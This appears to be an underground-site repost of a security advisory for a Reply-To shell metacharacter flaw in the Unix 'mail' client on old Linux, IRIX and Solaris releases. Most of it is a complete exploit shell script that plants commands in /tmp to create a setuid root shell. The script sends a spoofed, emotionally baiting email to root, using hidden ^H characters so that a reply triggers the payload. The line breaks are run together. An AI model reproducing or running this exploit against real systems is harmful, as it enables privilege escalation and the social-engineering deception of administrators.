-----[ www.TheCyberUnderground.com

- Reply-To Unix Mail client exploit -(orginal sploit from securityfocus.com)

Vulnerable:
	Linux
	Solaris

mail is a simple console e-mail client. A vulnerability exists in several vendors' distributions of this program.
An attacker can compose an email message with a carefully-formed string in the Reply-To: field which includes shell meta-characters, and send it to a victim/recipient.
Upon receipt of this message, the recipient might normally see the dangerous text in the Reply-to field and delete the message without responding. 
However, the field can be formed in such a way that these extra characters are concealed. By including a series of ^H characters, the attacker can affect the text in the field as it is displayed on the recipient's screen. As a result, the victim has no visible indication that the message variables (eg, from and reply-to) are malformed.
If the message elicits a response from the user, the contents of the reply-to field will be interpreted as a reference to a pre-existing file in /tmp, placed earlier by the attacker, which can contain arbitrary shell commands. This can grant the attacker an elevation of privileges, to that of his victim, and possibly root (if root replies to the dangerous email..).
Caldera OpenLinux 2.4Debian Linux 2.3Debian Linux 2.2RedHat Linux 7.0
RedHat Linux 6.2E sparcRedHat Linux 6.2E i386RedHat Linux 6.2E alpha
RedHat Linux 6.2 sparcRedHat Linux 6.2 i386RedHat Linux 6.2 alphaSGI IRIX 6.3
SGI IRIX 5.3SGI IRIX 5.2Sun Solaris 2.6_x86HW3/98Sun Solaris 2.6_x86
Sun Solaris 2.6Sun Solaris 2.5.1_x86Sun Solaris 2.5.1_ppcSun Solaris 2.5.1
Sun Solaris 2.5_x86Sun Solaris 2.5Sun Solaris 2.4_x86#!/bin/sh## I-0wn-j00.sh
# Exploit for | char in mail Reply-To field
# tested on linux Caldera (techno preview linux 2.4.0)#
# Gregory Duchemin ( AKA C3rb3r )# Security Consultant## NEUROCOM CANADA
# 1001 bd Maisonneuve Ouest# Montreal (Quebec) H3A 3C8 Canada
# c3rb3r@hotmail.com# Cook Ingredients: one | char (hidden in an uppercase i),
# a bit of evil ^H to hide "/tmp/", and a girl to stimulate a reply ;)#cd /tmp
cat ^H^H^H^H^Hsabelle@hotmail.com << _End#!/bin/shcp /bin/sh /tmp/newsh
chmod a+rws /tmp/newsh_End{sleep 1echo "HELO hotmail.com"sleep 1
echo "MAIL FROM:<Isabelle@hotmail.com>"sleep 1echo "RCPT TO:<root>"sleep 1
echo "DATA"sleep 1# Reply-to will appear as Reply-To:<|sabelle@hotmail.com>
echo "Reply-To:<|/tmp/^H^H^H^H^Hsabelle@hotmail.com>"sleep 1echo
echo "I saw you yesterday, since i'm a bit confused..i just wanted"
echo "to say you."echo "I believe I LOVE YOU"echoecho "Isabelle."echo "."sleep 1
echo "QUIT"sleep 2}|telnet localhost 25
echo "Job is done...now check for newsh in /tmp"echoecho